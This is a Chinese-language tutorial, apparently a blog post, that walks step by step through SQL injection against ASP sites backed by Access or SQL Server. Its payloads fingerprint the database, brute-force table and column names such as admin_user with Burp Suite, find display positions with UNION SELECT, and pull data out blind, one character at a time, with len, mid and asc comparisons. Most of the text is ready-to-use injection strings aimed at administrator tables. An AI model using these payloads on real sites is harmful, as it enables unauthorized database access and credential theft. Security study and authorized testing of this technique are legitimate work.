文章目录
- 注入流程:
- 1、判断数据库类型
- 2、判断表名
- 3、判断列名
- 4、判断列数
- 1)判断显示位
- 5、判断数据长度
- 6、爆破数据内容
注入流程:
判断数据库类型 ——> 判断表名 ——> 判断列名 ——> 判断列名长度 ——> 查出数据。
asp的网站,常用数据库为access、sqlserver。
1、判断数据库类型
and exsits (select * from msysobjects)>0 access
and exsits (select * from sysobjects)>0 sqlserver
上述语句会返回1或者0
。
msysobjects是access的默认数据库,
sysobjects是sqlserver的默认数据库。
如图:
这里就能判断是access的数据库。
2、判断表名
遍历表名:and exists (select * from 表名)
#存在就返回正常页面,不存在就报错。
举例:
and exists (select * from admin_user)
使用BP对后面的admin_user所在位置的值进行遍历
假设这里跑出来表名就是:admin_user
3、判断列名
遍历列名:and exists (select 列名 from 表名)
#存在就返回正常页面,不存在就报错。
举例:
and exists (select admin from admin_user)
已经得知表名是admin_user,使用BP对列名admin所在位置的值进行遍历
假设这里跑出来列名就是:admin
4、判断列数
order by 7
前提:页面中需要有显示位
1)判断显示位
使用联合查询
union select 1,2,3,4,5,6,7 from admin_user
5、判断数据长度
and (select top 1 len(列名) from 表名)>5
#此为此列第一条数据的长度,判断其是不是大于5
and (select top 1 len(列名) from 表名)=5
#此为此列第一条数据的长度是不是等于5
举例:
and (select top 1 len(admin) from admin_user)=5
假如返回是真,那就说明admin_user这个表里面对应的admin这一列的第一个数据长度时5.
6、爆破数据内容
and (select top 1 asc(mid(列名,位数,1)) from admin)=97
#mid()用于从文本中提取字段,mid(列名,起始位置,要返回的字符数)
#asc()是进行ASCII编码
举例:
and (select top 1 asc(mid(admin,1,1)) from admin_user)=97(97对应的字母为a)
#若返回真,说明admin_user这个表中admin字段对应的那一列的第一条数据的第一位是 ’ a ’